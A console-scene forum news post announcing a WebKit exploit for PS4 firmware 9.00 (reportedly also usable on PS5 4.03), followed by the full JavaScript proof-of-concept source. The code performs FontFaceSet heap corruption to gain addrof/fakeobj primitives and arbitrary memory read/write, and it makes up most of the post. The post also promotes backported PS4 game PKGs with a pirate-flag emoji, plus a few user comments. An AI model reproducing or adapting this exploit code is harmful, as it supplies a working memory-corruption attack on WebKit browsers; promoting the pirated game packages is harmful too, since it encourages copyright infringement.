Join Us and become a Member for a Verified Badge to access private areas with the latest PS4 PKGs.
Status
Not open for further replies.
Earlier this week PS4Scene developer @sleirsgoevy expressed interest in feedback of his FontFaceSet Vulnerability PoC based on the previously released code, and today he shared a PS4 WebKit Exploit (Github) on 9.00 Firmware... which has also been confirmed by @zecoxao via Twitter among others as a userland entry point on the latest PS5 Firmware 4.03 Update! 😍

:alert: As usual, it's currently not advisable by scene developers to update neither your PS4 nor PS5 consoles... remember this is only a WebKit Exploit, and that a Kernel Exploit (KEX) is also required for a full PS4 Jailbreak or PS5 Jailbreak release. :alert:
While many are still battling PS5 Scalpers to obtain a console for testing the feasibility of Private PS4 Exploits in a PlayStation 5 Jailbreak, below are some related articles (sorted by date with the oldest first) for those new in the scene:
⚠️ Additionally, developer @CTurt (aka CTurtE on Twitter) has yet to publicly disclose any specific details on his $10K PlayStation Bug Bounty reward at HackerOne.com achieved this past August, so keep in mind it may be quite awhile before the required Kernel Exploit surfaces for a full PS4 Jailbreak or PS5 Jailbreak to arrive. ⚠️

From ps4.html via sleirsgoevy on Twitter comes source code to achieve arbitrary read / write and addrof / fakeobj for those interested:
Code:
<script>
var PAGE_SIZE = 16384;
var SIZEOF_CSS_FONT_FACE = 0xb8;
var HASHMAP_BUCKET = 208;
var STRING_OFFSET = 20;
var SPRAY_FONTS = 0x1000;
var GUESS_FONT = 0x200430000;
var NPAGES = 20;
var INVALID_POINTER = 0;
var HAMMER_FONT_NAME = "font8"; //must take bucket 3 of 8 (counting from zero)
var HAMMER_NSTRINGS = 700; //tweak this if crashing during hammer time

function poc(){

function hex(n)
{
    if((typeof n) != "number")
        return ""+n;
    return "0x" + (new Number(n)).toString(16);
}

var union = new ArrayBuffer(8);
var union_b = new Uint8Array(union);
var union_i = new Uint32Array(union);
var union_f = new Float64Array(union);

var bad_fonts = [];

for(var i = 0; i < SPRAY_FONTS; i++)
    bad_fonts.push(new FontFace("font1", "", {}));

var good_font = new FontFace("font2", "url(data:text/html,)", {});
bad_fonts.push(good_font);

var arrays = [];
for(var i = 0; i < 512; i++)
    arrays.push(new Array(31));

arrays[256][0] = 1.5;
arrays[257][0] = {};
arrays[258][0] = 1.5;

var jsvalue = {a: arrays[256], b: new Uint32Array(1), c: true};

var string_atomifier = {};
var string_id = 10000000;

function ptrToString(p)
{
    var s = '';
    for(var i = 0; i < 8; i++)
    {
        s += String.fromCharCode(p % 256);
        p = (p - p % 256) / 256;
    }
    return s;
}

function stringToPtr(p, o)
{
    if(o === undefined)
        o = 0;
    var ans = 0;
    for(var i = 7; i >= 0; i--)
        ans = 256 * ans + p.charCodeAt(o+i);
    return ans;
}

var strings = [];

function mkString(l, head)
{
    var s = head + '\u0000'.repeat(l-STRING_OFFSET-8-head.length) + (string_id++);
    string_atomifier[s] = 1;
    strings.push(s);
    return s;
}

var guf = GUESS_FONT;
var ite = true;
var matches = 0;

do
{

var p_s = ptrToString(NPAGES+2); // vector.size()
for(var i = 0; i < NPAGES; i++)
    p_s += ptrToString(guf + i * PAGE_SIZE);
p_s += ptrToString(INVALID_POINTER);

for(var i = 0; i < 256; i++)
    mkString(HASHMAP_BUCKET, p_s);

var ffs = new FontFaceSet(bad_fonts);

var badstr1 = mkString(HASHMAP_BUCKET, p_s);

var guessed_font = null;
var guessed_addr = null;

for(var i = 0; i < SPRAY_FONTS; i++)
{
    bad_fonts[i].family = "evil";
    if(badstr1.substr(0, p_s.length) != p_s)
    {
        guessed_font = i;
        var p_s1 = badstr1.substr(0, p_s.length);
        for(var i = 1; i <= NPAGES; i++)
        {
            if(p_s1.substr(i*8, 8) != p_s.substr(i*8, 8))
            {
                guessed_addr = stringToPtr(p_s.substr(i*8, 8));
                break;
            }
        }
        if(matches++ == 0)
        {
            guf = guessed_addr + 2 * PAGE_SIZE;
            guessed_addr = null;
        }
        break;
    }
}

if((ite = !ite))
    guf += NPAGES * PAGE_SIZE;

}
while(guessed_addr === null);

alert("guessed fontface addr: "+guessed_font+" -> "+hex(guessed_addr));

var p_s = '';
p_s += ptrToString(26);
p_s += ptrToString(guessed_addr);
p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE);
for(var i = 0; i < 19; i++)
    p_s += ptrToString(INVALID_POINTER);

for(var i = 0; i < 256; i++)
    mkString(HASHMAP_BUCKET, p_s);

var ffs2 = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font+1], good_font]);
var badstr2 = mkString(HASHMAP_BUCKET, p_s);
mkString(HASHMAP_BUCKET, p_s);

bad_fonts[guessed_font].family = "evil2";
bad_fonts[guessed_font+1].family = "evil3";

var leak = stringToPtr(badstr2.substr(badstr2.length-8));
alert("stringimpl leak: "+hex(leak));

var ffses = {};

function makeReader(read_addr, ffs_name)
{
    var fake_s = '';
    fake_s += '0000'; //padding for 8-byte alignment
    fake_s += '\u00ff\u0000\u0000\u0000\u00ff\u00ff\u00ff\u00ff'; //refcount=255, length=0xffffffff
    fake_s += ptrToString(read_addr); //where to read from
    fake_s += ptrToString(0x80000014); //some fake non-zero hash, atom, 8-bit
    p_s = '';
    p_s += ptrToString(29);
    p_s += ptrToString(guessed_addr);
    p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE);
    p_s += ptrToString(guessed_addr + 2 * SIZEOF_CSS_FONT_FACE);
    for(var i = 0; i < 18; i++)
        p_s += ptrToString(INVALID_POINTER);
    for(var i = 0; i < 256; i++)
        mkString(HASHMAP_BUCKET, p_s);
    var the_ffs = ffses[ffs_name] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font+1], bad_fonts[guessed_font+2], good_font]);
    mkString(HASHMAP_BUCKET, p_s);
    var relative_read = mkString(HASHMAP_BUCKET, fake_s);
    bad_fonts[guessed_font].family = ffs_name+"_evil1";
    bad_fonts[guessed_font+1].family = ffs_name+"_evil2";
    bad_fonts[guessed_font+2].family = ffs_name+"_evil3";
    if(relative_read.length < 1000) //failed
        return makeReader(read_addr, ffs_name+'_');
    return relative_read;
}

var fastmalloc = makeReader(leak, 'ffs3'); //read from leaked string ptr
alert("fastmalloc.length = "+fastmalloc.length);

for(var i = 0; i < 100000; i++)
    mkString(128, '');

var props = [];
for(var i = 0; i < 0x400; i++)
{
    props.push({value: 0x41434442});
    props.push({value: jsvalue});
}

var jsvalue_leak = null;

while(jsvalue_leak === null)
{
    Object.defineProperties({}, props);
    for(var i = 0; i < 0x100000; i++)
    {
        if(fastmalloc.charCodeAt(i) == 0x42
        && fastmalloc.charCodeAt(i+1) == 0x44
        && fastmalloc.charCodeAt(i+2) == 0x43
        && fastmalloc.charCodeAt(i+3) == 0x41
        && fastmalloc.charCodeAt(i+4) == 0
        && fastmalloc.charCodeAt(i+5) == 0
        && fastmalloc.charCodeAt(i+6) == 254
        && fastmalloc.charCodeAt(i+7) == 255
        && fastmalloc.charCodeAt(i+24) == 14
        )
        {
            jsvalue_leak = stringToPtr(fastmalloc, i+32);
            break;
        }
    }
}

alert("jsvalue leak: " + jsvalue + " -> " + hex(jsvalue_leak));

var rd_leak = makeReader(jsvalue_leak, 'ffs4');
var array256 = stringToPtr(rd_leak, 16); //arrays[256]
var ui32a = stringToPtr(rd_leak, 24); //Uint32Array
var sanity = stringToPtr(rd_leak, 32);
alert("array256="+hex(array256)+" ui32a="+hex(ui32a)+" sanity="+hex(sanity));

var rd_arr = makeReader(array256, 'ffs5');
var butterfly = stringToPtr(rd_arr, 8);

var rd_ui32 = makeReader(ui32a, 'ffs6');
for(var i = 0; i < 8; i++)
    union_b[i] = rd_ui32.charCodeAt(i);

var structureid_low = union_i[0];
var structureid_high = union_i[1];

alert("butterfly="+hex(butterfly)+" structureid="+structureid_low);

//setup for addrof/fakeobj
//in array[256] butterfly: 0 = &bad_fonts[guessed_font+12] as double
//in array[257] butterfly: 0 = {0x10000, 0x10000} as jsvalue
union_i[0] = 0x10000;
union_i[1] = 0; //account for nan-boxing
arrays[257][1] = {}; //force it to still be jsvalue-array not double-array
arrays[257][0] = union_f[0];
union_i[0] = (guessed_addr + 12 * SIZEOF_CSS_FONT_FACE) | 0;
union_i[1] = (guessed_addr - guessed_addr % 0x100000000) / 0x100000000;
arrays[256][i] = union_f[0];

//hammer time!

pp_s = '';
pp_s += ptrToString(56);
for(var i = 0; i < 12; i++)
    pp_s += ptrToString(guessed_addr + i * SIZEOF_CSS_FONT_FACE);

var fake_s = '';
fake_s += '0000'; //padding for 8-byte alignment
fake_s += ptrToString(INVALID_POINTER); //never dereferenced
fake_s += ptrToString(butterfly); //hammer target
fake_s += '\u0000\u0000\u0000\u0000\u0022\u0000\u0000\u0000'; //length=34

var ffs7_args = [];
for(var i = 0; i < 12; i++)
    ffs7_args.push(bad_fonts[guessed_font+i]);
ffs7_args.push(good_font);

var ffs8_args = [bad_fonts[guessed_font+12]];
for(var i = 0; i < 5; i++)
    ffs8_args.push(new FontFace(HAMMER_FONT_NAME, "url(data:text/html,)", {}));

for(var i = 0; i < HAMMER_NSTRINGS; i++)
    mkString(HASHMAP_BUCKET, pp_s);

var ffs7 = new FontFaceSet(ffs7_args);
mkString(HASHMAP_BUCKET, pp_s);
var ffs8 = new FontFaceSet(ffs8_args);
mkString(HASHMAP_BUCKET, fake_s);

for(var i = 0; i < 13; i++)
    bad_fonts[guessed_font+i].family = "hammer"+i;

alert("arrays[257].length="+arrays[257].length);

window.addrof = function(obj)
{
    arrays[257][32] = obj;
    union_f[0] = arrays[258][0];
    return union_i[1] * 0x100000000 + union_i[0];
}

window.fakeobj = function(addr)
{
    union_i[0] = addr;
    union_i[1] = (addr - addr % 0x100000000) / 0x100000000;
    arrays[258][0] = union_f[0];
    return arrays[257][32];
}

alert("addrof(null)="+addrof(null)+" fakeobj(10)="+fakeobj(10));

//craft misaligned typedarray

var arw_master = new Uint32Array(8);
var arw_slave = new Uint8Array(1);

var addrof_slave = addrof(arw_slave);
union_i[0] = structureid_low;
union_i[1] = structureid_high;
union_b[6] = 7;
var obj = {jscell: union_f[0], butterfly: true, buffer: arw_master, size: 0x5678};

(function()
{
    var magic = fakeobj(addrof(obj) + 16);
    magic[4] = addrof_slave;
    magic[5] = (addrof_slave - addrof_slave % 0x100000000) / 0x100000000;
    magic = null;
})();

window.read_mem = function(p, sz)
{
    arw_master[4] = p;
    arw_master[5] = (p - p % 0x100000000) / 0x100000000;
    arw_master[6] = sz;
    var buf = [];
    for(var i = 0; i < sz; i++)
        buf.push(arw_slave[i]);
    return buf;
}

window.write_mem = function(p, buf)
{
    arw_master[4] = p;
    arw_master[5] = (p - p % 0x100000000) / 0x100000000;
    arw_master[6] = buf.length;
    for(var i = 0; i < sz; i++)
        arw_slave[i] = buf[i];
}

alert(read_mem(addrof(obj), 48));

}
</script>
<button onclick="try{poc()}catch(e){alert(e);}">click me</button>
:idea: In the meantime many PS4 Game Backports are available, so get your Verified Badge from the Floating Discord Channel for the latest PS4 PKGs... including recently 'dumped' PS4 8.52 - 9.00 Games like Lost Judgment (CUSA28183) v1.03 backported to 5.05 by @opoisso893 (aka backport893) alongside the Lost Judgment DLC School Stories Expansion and Lost Judgment DLC Detective Essentials Packs. 🏴‍☠️

Cheers to @jwooh for passing along this PS4 Scene and PS5 Scene news earlier today and YakuzaMink on Twitter for the demo video screenshot below! 🍻

Spoiler: Related Tweets

PS4 9.00 & PS5 WebKit Exploit by Sleirsgoevy, Kernel Exploit Required!.jpg
 

Comments

Security Researchers, pls release the kex to the public its been 7 months since the last JB. Currently of all the homebrew scenes of all the consoles ps4 is the least active one.
 
So in the meantime this can be used on current jailbreak to make it stable or is still the same.

Ps i read all the tweets it seems that is no use for us on the current jailbreak.
 
wow ps5 already? im sure it will be a very long time for the KE. from reading it works on ps4 as well? 9.0 is the current firmware correct? Im sure it will be a minute for that as well, On the other side great job devs. the dedication it takes, and not to mention the time!

@sleirsgoevy and @zecoxao
thank you for your blood sweat and tears
 
Status
Not open for further replies.
Back
Top